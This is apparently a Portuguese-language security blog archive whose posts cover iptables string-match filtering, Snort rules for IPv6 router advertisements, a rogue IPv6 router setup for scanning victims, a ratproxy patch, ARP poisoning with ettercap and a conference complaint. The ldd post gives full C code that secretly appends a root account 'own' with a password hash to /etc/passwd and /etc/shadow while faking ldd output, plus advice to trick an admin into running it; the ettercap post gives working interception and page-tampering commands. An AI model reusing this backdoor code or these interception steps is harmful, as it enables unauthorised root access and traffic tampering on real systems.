terça-feira, 15 de março de 2011

Proteção de camada 7 com iptables


Hoje em dia se ouve falar muito em proteção por camadas e firewall de aplicação
mas muitas pessoas me perguntam exatamente como é que isso funciona.

Vou tentar resumir aqui o funcionamento de um firewall em nível de aplicação
mas para isso precisamos entender a boa e velha camada OSI. Como sabemos
um firewall trabalha na camada 3 (rede )

| APLICAÇÃO |                        | APLICAÇÃO |

| APRESENTAÇÃO |               | APRESENTAÇÃO |

| SESSÃO |                              | SESSÃO |

| TRANSPORTE |                    | TRANSPORTE |

| REDE |      --firewall-->         | REDE |

| ENLACE |                             | ENLACE |

| FISICA |                                | FISICA |



Ja um firewall de aplicação trabalha como o próprio nome diz na camada
de aplicação do modelo OSI.


| APLICAÇÃO |   -firewall aplicação->    | APLICAÇÃO |

| APRESENTAÇÃO |                                | APRESENTAÇÃO |

| SESSÃO |                                               | SESSÃO |

| TRANSPORTE |                                     | TRANSPORTE |

| REDE |                                                   | REDE |

| ENLACE |                                              | ENLACE |

| FISICA |                                                 | FISICA |


Isso permite que o firewall tenha um controle muito maior sobre os
pacotes trafegados na rede ja que ele abre o pacote e consegue ver seu conteúdo,
por exemplo um requisição na porta 53 TCP para um firewall comum pode ser
simplesmente uma transferência de zona DNS, porem
ao abrir o pacote verificamos que existe o seguinte conteúdo:

"GET http://www.site.net/file.exe"

Opa ha algo de errado com esse pacote, um GET, tudo indica que o IP de destino na porta 53
é um proxy e que o usuário esta se valendo disso para acessar site indevidos.
Nesse caso um firewall trabalhando na camada de aplicação nos fornece o mecanismo para bloquear
este tipo de acesso.

           --- Iptables e firewall camada 7 ---

O iptables[1] nos fornece mecanismos bem funcionais para bloquear este tipo de acesso criando regras
baseadas no conteúdo do pacote com a opção "-m string" onde string 'o conteudo que você procura
no pacote, veja o exemplo a seguir:


iptables -I FORWARD -p tcp -m string --string "file.exe" --algo bm -j DROP


No exemplo acima queremos bloquear todos os pacotes que contenham a string "file.exe" em seu conteúdo

Explicando o comando:
* -m string
Chamando o helper string do iptables que faz pattern match do conteúdo do pacote.

* --string "file.exe"
É o conteúdo do pacote que queremos encontrar

* --algo bm
Algoritmo de busca para o pattern match, no nosso caso utilizamos o algoritmo bm (Boyer-Moore[2])
por ser mais rápido que o kpm (Knuth-Pratt-Morris[3])

Demais opções:

Alem das opções supra-citadas tambem temos as seguinte opções que nos permite uma enorme gama de detecções:

* --from
Define a partir de qual byte o pattern match será aplicado, exemplo "--from 64" começa a aplicar
o pattern match a partir do byte 64 do pacote (caso não especifique o padrão é 0)

* --to
Define até qual byte do pacote o pattern match vai ler, exemplo "--to 128" vai procurar a string
até alcançar 128 bytes.


Algo interessante é que podemos mesclar diversos componentes deixando a regram menos passivel de falsos positivos.

Ex.:

iptables -I FORWARD -p tcp -m string --string "GET http://" --algo bm --to 64 -m string \! --string "file.exe" --algo bm -j ACCEPT

Na regra acima estamos aceitando todos os "GET http://" exceto os que contiverem a string "file.exe"


Agora bastar analisar o que você deseja bloquear e criar seu firewall na camada de aplicação.

Dica:
Nesse caso é legal você utilizar o MARK e/ou CONNMARK do iptables e criar algumas categorias que você deseja bloquear,
tipo, chat mark 1, web, mark 2, p2p mark 3 e dai por diante ai basta você bloquear os pacotes marcados
(lembrando que o MARK só funciona na tabela mangle)

Enjoy it.

[1] http://www.netfilter.org
[2] http://en.wikipedia.org/wiki/Boyer%E2%80%93Moore_string_search_algorithm
[3] http://en.wikipedia.org/wiki/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm

Exemplo de funcionamento do algoritmo KPM

- http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/kpm-example.html

Exemplo de funcionamento do algoritmo BM

- http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/fstrpos-example.html



By CleBeeR

segunda-feira, 25 de outubro de 2010

Detecting IPv6 Router Advertisement with Snort

No meu ultimo post eu comentei de como podemos utilizar o radvd para distribuir IPv6 em uma rede local utilizando as features de "router solicitation e router advertisement" do IPv6. Neste post vou mostrar como utilizar o snort para detectar essa atividade na rede.

Primeiramente seu snort precisa ser compilado com a opção --ipv6. para verificar se o snort instalado na máquina esta com suporte a IPv6 basta executar o "snort -V"  se aparece  "IPv6" ao lado da versão do snort então ele tem suporte.

Criando variável de rede.

Acesse o arquivo de configuração do snort (snort.conf) e adicione a variável "IPV6_ROUTER"

---
var IPV6_ROUTER [fe80:0000:0000:0000:0a00:27ff:fea0:9834]
---

Lembrando que o endereço IPv6 dessa variável deve ser configurada com o endereço de link local da  placa de rede (fe80:: ....) do seu router IPv6, caso você não possua um router IPv6 deixe a variável com valor "any".

---
Agora adicione as seguintes regras ao seu pool de regras do snort:

---

alert icmp !$IPV6_ROUTER any -> $HOME_NET any (msg:"ICMP IPV6 Router Advertisement"; icode:0; itype:134;sid:1000001;)


alert icmp !$IPV6_ROUTER any -> $HOME_NET any (msg:"ICMP IPV6 Multicast Router Advertisement"; icode:0; itype:151;sid:1000002;)
---



Pronto, agora é só reiniciar o snort e esperar pelos logs... heheh


By CleBeeR

quarta-feira, 23 de junho de 2010

Hacking with Ipv6

Há tempo que o IPv6 esta nos tópicos das listas de discussão sobre redes e em congressos sobre gerenciamento de redes mas muito pouco se tem ouvido falar dele nos tópicos envolvendo segurança. O IPv6 não deve ser preocupação somente da parte de engenharia de rede e é isso que vou tentar demonstrar no post a seguir.

Nos dias de hoje todos os sistemas operacionais modernos destinados a desktop vem com o IPv6 habilitado por padrão e é exatamente ai que mora o perigo, O IPv6 possui por padrão o endereço conhecido no IPv4 como PIPA (Private IP Address) que possui o range 169.254.0.0/16 (RFC 3330) porém não há configuração automática para esse range IP, já no IPv6 toda a interface de rede (com ou sem IP definido) também vai possuir um IP na rede fe80::/64 conhecido como endereço de link local onde o IPv6 faz toda a comunicação entre as demais maquinas com IPv6 na rede local inclusive as mensagens de “Neighbor Discovery” e “Router Advertisement” que nos dão a opção de configurar um IP para a maquina sem necessitar de um servidor de DHCP. Essa configuração funciona da seguinte maneira:





No desenho acima vemos como o IPv6 pode receber um IP sem haver um DHCP na rede através da mensagem de Router Advertisement, porém se não há nenhuma máquina na rede com essa configuração não há problemas (por enquanto). Porém como citei no inicio os sistemas operacionais modernos vem com o IPv6 habilitado por padrão o que temos que fazer é só configurar a nossa máquina como router IPv6 e para isso podemos utilizar o radvd (http://www.litech.org/radvd/). Baixe o radvd, compile e instale ( você também pode utilizar o yum ou apt de acordo com a distribuição linux que você utiliza), após a instalação edite o arquivo “/etc/radvd.conf” e deixe o mesmo com o seguinte conteúdo:

interface eth2 # Interface de listen
{
AdvSendAdvert on; # Habilita o router adivertisement
prefix 2001:db8:f0ca::/64 # prefixo a ser distribuído
{
AdvAutonomous on; # Utiliza especificações da RFC 4862 (evita Ips duplicados)
};
};



Após configurar o arquivo radvd.conf adicione um endereço de IPv6 na mesma rede que você configurou o arquivo

ifconfig eth2 inet6 add 2001:db8:f0ca::ca5a/64

agora basta iniciar o serviço radvd

/etc/init.d/radvd start

Agora estamos configurados como router Ipv6 da rede local e qualquer pedido de neighbor dicovery enviaremos um endereço IP na rede 2001:db8:f0ca::/64

Monitorando:

Agora vamos ver o tráfego da interface para ver se alguem já fez alguma requisição:

tcpdump -i eth2 -vv ip6 and not net fe80::/64

Opa achamos:

IP6 (hlim 255, next-header ICMPv6 (58) payload length: 24) :: > ff02::1:ffec:45cd: [icmp6 sum ok] ICMP6, neighbor solicitation, length 24, who has fe80::20c:29ff:feec:45cd
IP6 (hlim 255, next-header ICMPv6 (58) payload length: 24) :: > ff02::1:ffec:45cd: [icmp6 sum ok] ICMP6, neighbor solicitation, length 24, who has 2001:db8:f0ca:0:20c:29ff:feec:45cd

Vemos que primeiro vem uma requisição ICMPv6 como “router solicitation” através do endereço de link local “fe80::/64” depois vemos o ip fornecido para a rede que configuramos “2001:db8:f0ca::/64”

Obs.: o IP da rede ff02:: no Ipv6 é utilizado para multicast.

Vamos pingar o ip “2001:bd8:f0ca:0:20c:29ff:feec:45cd”

ping6 -I eth2 2001:bd8:f0ca:0:20c:29ff:feec:45cd

Com o ping OK podemos começar o teste de invasão como o nmap ;)

nmap -e eth2 -6 2001:bd8:f0ca:0:20c:29ff:feec:45cd

O interessante é que caso haja um firewall/IDS em Ipv4 na maquina de destino nossos testes não vão gerar nenhum alerta.. ;)

Aguardem mais posts sobre IPv6.
By CleBeeR



segunda-feira, 31 de maio de 2010

Engenharia "tecno-social"

Engenharia social é um dos temas mais abordados no meio de segurança da informação, isso talvez por não exigir nenhum skill técnico.
Hoje em dia é muito fácil achar esse tipo de ataque, desde gangues que se utilizam de engenharia social para roubar aposentadoria de velhinhos desinformados, de usuários desatentos que clicam em qualquer link que encontram por ae ou no caso que vou tentar demonstrar aqui utilizando a ingenuidade de muitos admins de rede.
Um exemplo claro da ingenuidade de muitos admins é demonstrada na palestra do Bruno Gonçalves na ultima H2HC sobre engenharia social.
Agora vamos ao que interessa =p

Ha um tempo atrás (quando percebi que o ldd não passava de um enorme shellscript..rsrs) desconfiei que o ldd poderia permitir a execução de código porem isso dependeria de gerar uma glibc alterada para que o ld-linux.so setar a variável de ambiente "LD_TRACE_LOADED_OBJECTS" dai conseguir executar o programa quando chama-lo com o ldd o problema aqui é que não podemos simplesmente adicionar uma glib nova no server que queremos atacar então o que faremos? vamos compilar um programa com outro loader e simplesmente enviar a lib alterada junto com ele ;)

Como?

Vamos baixar a biblioteca C  "uClib" (http://www.uclibc.org/) e configura-la da seguinte forma:

Crie um diretório onde deseja fazer os testes (Ex.: /home/usuario/teste ), baixe a uClib em http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2

Descompacte, entre no diretório criado (uClibc-0.9.30.1) e execute o comando "make menuconfig" para selecionar o tipo de arquitetura do sistema do sistema (na maioria dos casos usa-se a i386),
Salve e saia, depois altere o arquivo .config e configure o diretório de destino da instalação para o diretório que você criou (/home/usuario/teste no nosso exemplo)


---
# Mudar de
RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

# Para
RUNTIME_PREFIX="/home/usuario/teste/uclibc/"
DEVEL_PREFIX="/home/usuario/teste/uclibc/usr/"
---

Agora precisamos comentar da linha 406 até a linha 410 no arquivo "ldso/ldso/ldso.c"

---
/*
    if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
        trace_loaded_objects++;
    }
*/
---


Agora basta o clássico "$make && make install" para compilar e instalar nossa lib alterar no diretório "/home/usuario/teste" =D
Dai podemos criar um executável e "linka-lo" a essa lib, desta forma sempre que o ldd chama-lo ele executará o código que quisermos.. 8-]

Vamos ao primeiro código de teste:
Crie um arquivo "ldd-world.c" com o conteúdo abaixo

--
#include
#include

int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("Executando comando via ldd\n");
  }
  else {
    printf("Alo Mundo!!!\n");
  }
  return 0;
}
--

O código acima é bem básico e ele checa se a variável LD_TRACE_LOADED_OBJECTS esta setada (o que significa que ele esta sendo chamado através do ldd), se ela estiver setada ele exibe a
mensagem "Executando comando via ldd" caso contrário ele exibe a famosa mensagem "Alo Mundo".
Agora vamos compila-lo, essa parte não basta executar o velho "gcc -o" pois precisamos lincar esse código a nossa uClib preparada anteriormente, então para compilar usaremos o seguinte comando:


---
$ UCDIR=/home/usuario/teste/uclibc

$ gcc -Wl,--dynamic-linker,$UCDIR/lib/ld-uClibc.so.0 -Wl,-rpath-link,$UCDIR/lib -nostdlib ldd-world.c -o ldd-world $UCDIR/usr/lib/crt*.o -L$UCDIR/usr/lib/ -lc
---

Explicando:
-Wl,--dynamic-linker,$UCDIR/lib/ld-uClibc.so.0 --> Configura o novo loader (repare que não deve ser o ld-linux.so)

-Wl,-rpath-link,$UCDIR/lib            --> Configura o diretório onde o loader irá procurar suas dependencias

-nostdlib                   --> Usado para que o programa não utilize bibliotecas do sistema

ldd-world.c -o ldd-world            --> Compila o ldd-world.c criando o executavel ldd-world

$UCDIR/usr/lib/crt*.o                   --> Link estático para o código em tempo de execução

-L$UCDIR/usr/lib/               --> Diretório onde o programa deve progurar a libc

-lc                        --> link com a biblioteca C



Agora vamos ao teste.

---
$ ./ldd-world
Alo Mundo!!!
---

Até aqui OK como não chamamos ele com ldd a variarel LD_TRACE_LOADED_OBJECTS não foi setada e o programa não faz nada. Agora vamos chamar o programa com o ldd

--
$ ldd ldd-world
Executando comando via ldd
--

Aeeee OWNED !1!!!!1 :p

Abaixo segue um código mais trabalhado que adiciona o usuário "own" com a senha "owned" no sistema caso o ldd seja executado pelo root.... =P

---
/* Não rode este código na sua máquina local.
aconselho o uso de máquinas virtuais para testes*/

#include
#include
#include
#include

void pretend_as_ldd()
{
    printf("\tlinux-gate.so.1 =>  (0xffffe000)\n");
    printf("\tlibat.so.0 => not found\n");
    printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");
    printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}


void passwd_file()
{
    FILE * pFile;
    pFile = fopen ("/etc/passwd","a+");
    fprintf (pFile, "own:x:0:0::/root/:/bin/sh\n");
    fclose (pFile);
   
    pFile = fopen ("/etc/shadow","a+");
    fprintf (pFile, "own:$1$gK1UdW1V$NSlmLeLSns7q0hDPDhkvY0:::::::\n");
    fclose (pFile);
}

void malicious()
{
    if (geteuid() == 0) {
        passwd_file();
    }
}

int main(int argc, char **argv)
{
    if (getenv("LD_TRACE_LOADED_OBJECTS")) {
        malicious();
        pretend_as_ldd();
        return 0;
    }
   
    printf("%s: error while loading shared libraries: libat.so.0: "
           "cannot open shared object file: No such file or directory\n",
           argv[0]);
    return 127;
}

---

Apartir daqui basta treinar as suas técnicas de engenharia social para fazer o admin executar o ldd no seu programa =p



Usem com cuidado.

By CleBeeR


Referencias:

http://catonmat.net/blog/ldd-arbitrary-code-execution

http://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html

http://www.mail-archive.com/debian-glibc@lists.debian.org/msg39907.html

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514408

http://g0thacked.wordpress.com/files/2009/11/breaking-the-perimeter1.pdf

quinta-feira, 6 de maio de 2010

Ratproxy em portas não padrão ( 80 ou 443 )

Em alguns testes de segurança e auditoria em serviços Web precisamos utilizar ferramentas que nos auxiliam a realizar este processo, existem diversas ferramentas para isso, dentre elas estão o w3af, parosProxy, burpsuite, webscarab e o ratproxy. O ratproxy* trabalha como um proxy entre o browser do usuário (geralmente quem faz a auditoria) e o site/programa a ser auditado porem em algumas auditorias pode-se encontrar sites/programas que não rodam nas portas web padrão que são as portas 80 e 443, nesse caso ao tentar auditar um serviço que não roda nessas portas o ratproxy exibe a seguinte mensagem:

"[!] WARNING: Access to this port denied."

Segundo o desenvolvedor do projeto essa é uma feature implementada por questões de segurança, para evitar que o ratproxy seja utilizado como um portscan ou que sejam enviados pacotes para serviços não-HTTP porém essa implementação acaba nos limitando em determinadas auditorias onde precisamos testar um serviço web rodando em uma porta não padrão e para contornar esse problema eu criei um patch que adiciona a opção "-N" ao ratproxy que quando utilizada nos permite auditar sistemas web que não rodem nas portas padrão.
Basta aplicar o patch a seguir ou se preferir pode baixar o ratproxy com o patch já aplicado clicando aqui

------
# Created by Cl3BeeR
# Thu May 06 2010
--- ratproxy.c 2009-03-31 07:32:10.000000000 -0300
+++ ratproxy.c 2010-05-06 09:59:06.167625043 -0300
@@ -77,6 +77,7 @@
 _u8* trace_dir; /* Trace directory            */
 _u32 proxy_port = 8080; /* Upstream proxy port        */
 _u8  use_len; /* Use length, not cksum      */
+_u8* non_http; /* Accept requests for non-HTTP ports      */

 static FILE* outfile; /* Output file descriptor     */

@@ -105,6 +106,7 @@
         "   -m            - log all active content referenced across domains\n"
         "   -X            - disruptively validate XSRF, XSS protections\n"
         "   -C            - try to auto-correct persistent side effects of -X\n"
+        "   -N            - Accept requests to non-HTTP ports \n"
         "   -k            - flag HTTP requests as bad (for HTTPS-only applications)\n"
         "   -a            - indiscriminately report all visited URLs\n\n"

@@ -1660,9 +1662,9 @@

   signal(SIGPIPE, SIG_IGN);
  -1726,6 +1728,10 @@
         all_xss = 1;
         break;

+      case 'N':
+ non_http = 1;
+ break;
+
       case 'g':
         get_xsrf = 1;
         break;
--- http.c 2009-05-13 16:41:01.000000000 -0300
+++ http.c 2010-05-04 10:45:45.366625269 -0300
@@ -53,6 +53,7 @@
 extern _u8* use_proxy; /* Runtime setting exports from ratproxy. */
 extern _u32 proxy_port;
 extern _u8  use_len;
+extern _u8* non_http;

 static _u8 srv_buf[MAXLINE], /* libc IO buffers */
            cli_buf[MAXLINE];
@@ -496,7 +497,7 @@
     if (!ret->port || ret->port > 65535)
       http_error(client,"Illegal port specification",1);

-    if (ret->port < 1024 && ret->port != 80 && ret->port != 443)
+   if (!non_http && (ret->port < 1024 && ret->port != 80 && ret->port != 443))
       http_error(client,"Access to this port denied",1);

     *x = 0;
--- config.h 2009-05-13 16:40:38.000000000 -0300
+++ config.h 2010-05-06 10:00:03.570624548 -0300
@@ -26,7 +26,7 @@

 #include "types.h"

-#define VERSION "1.58-beta"
+#define VERSION "1.58-beta-CleBe3R-Non-http-Patch"

 /* Maximum request / response header line length (HTTP traffic
    that exceeds this limit will be rejected). */

------

* http://code.google.com/p/ratproxy/

g0 h4ck
By CleBeer

terça-feira, 2 de fevereiro de 2010

Brincando com o ettercap

Eu precisei montar um mini curso de TCP/IP para um grupo de técnicos e como comentava de manipulação de pacotes resolvi passar o ettercap pra galera e mostrar como capturar e/ou modificar pacotes de acordo com o tipo de "brincadeira que queremos fazer com a "vítima". Aqui vai algumas coisas legais que podemos fazer com o ettercap.

Monitorando o tráfego da vítima: (arpspoof)

Não vou me atentar aqui a explicar o que é um arpspoff e/ou arp poison essas informações podem ser encontradas no link a seguir:
http://en.wikipedia.org/wiki/ARP_spoofing

Vamos tentar sniffar o tráfego de uma estação da rede local para saber o que a "vítima esta acessando" através do gateway.



Para isso usaremos o ettercap na maquina do atacante:

No ettercap usaremos as seguintes opções:

-T ==> Para executar o ettercap em modo texto
-q ==> Para não ficar printando os pacotes capturados na tela
-p ==> Para a interface "NÃO" entrar em modo promíscuo
-M arp:remote ==> Para executar o arp poison somente entre o gateway e a vítima

Deixando o comando assim:
# ettercap -T -q -p -M ARP:remote // /10.1.1.2/

Assim todo o tráfego da estação da "vítima" estara passando pela sua estação antes de ir para o gateway, assim você pode sniffar o tráfego da vítima usando o tcpdump ou wireshark.

Agora vamos incrementar a brincadeira... :p
Vamos criar um script para que quando a vítma acesse o site com figura X seja exibida a figura Y no lugar da figura X. para isso vamos achar um site que queremos alterar para a vítima (Exemplo www.origsite.com) depois vamos definir a figura que queremos alterar. (Ex.: www.origsite.com/images/logo.png) Agora definimos a figura que queremos que apareça no lugar da figura "logo.png". (Ex.: www.fakesite.org/0wn3d.jpeg) Agora vamos criar o filtro para o ettercap.

Crie um arquivo com o seguinte conteúdo:
---
if (ip.proto == TCP && tcp.src == 80) {
replace(img src=\"http://origsite.com/images/logo.png\"", "img src=\"http://fakesite.org/0wn3d.jpeg\"");
replace(img src=\"http://origsite.com/images/logo.png\"", "img src=\"http://fakesite.org/0wn3d.jpeg\"");

msg("Imagem Alterada. \n");
}

--
Salve o arquivo (Ex.: fake-site.filter) e compile com o seguinte comando:

# etterfilter fake-site.filter -o fake-site.ef

Se não houver nenhum erro de compilação, será criado o arquivo "fake-site.ef", para utiliza-lo basta executar o mesmo comando ettercap anterior adicionando apenas a opção -F e o nome do arquivo "fake-site.ef" como a seguir:

# ettercap -T -q -p -F fake-site.ef -M ARP:remote // /10.1.1.2/

Pronto agora toda vez que o usuário da maquina 10.1.1.2 acessar o site www.origsite.com o logo exibido será o do site www.fakesite.org.

Com um entendimento de como funciona os filtros ettercap podemos fazer muitas coisas divertidas como por exemplo alterar o conteúdo de uma msg do msn, header da requisição http ou até mesmo o site de destino que o cara esta acessando, basta usar a criatividade... =p

Obs.: Todos os sites citados neste artigo são fictícios e o autor não se responsabiliza por qualquer dano que possa ser causado por executar os omandos contidos no texto supra-citado.

Happy Hacking..
By CleBeer

quarta-feira, 27 de janeiro de 2010

Campus Party Brasil [desorganização total]

Após receber um email convidando a comunidade snort para participar da Campus Party Brasil eu propus uma palestra sobre o snort para divulga a comunidade e mostrar um pouco do que o snort pode fazer para ajudar a mitigar ataques a rede.

Bem estava tudo muito lindo até a fatídica terça-feira dia 26 de janeiro de 2010 quando cheguei a CPbr pra retirar a minha credencial, após pagar vinte reais no estacionamento (não, palestrante não tem direito a estacionamento mas até ae tudo bem) me encaminhei até ao balcão designado para retirada de credenciais "VIP" que de VIP não tinham nada, esperei 40 minutos (e só havia 2 pessoas na minha frente) até chegar minha vez e a senhorita me informar que sic.: "A sua credencial ainda não esta pronta, toma essa fitinha pra ter acesso a CP e volta daqui 3 horas."

Até ai tudo bem eu até que sou um cara calmo, depois vi que minha palestra não estava mais na grade, tudo bem eu já havia recebido um email me orientando a ficar de olho na grade pois a mesma poderia sofrer alterações sem aviso prévio, então mandei um email para o organizador que me convidou para a CPbr e não obtive resposta. Por fim acabei não palestrando.

Mas OK não quero fazer do blog um lugar para desabafo, isso eu faço no bar e quem aguenta é o garçom..rsrs

Como muitos me perguntaram da palestra estou disponibilizando os slides para download.

Download via slideshare AQUI

By CleBeeR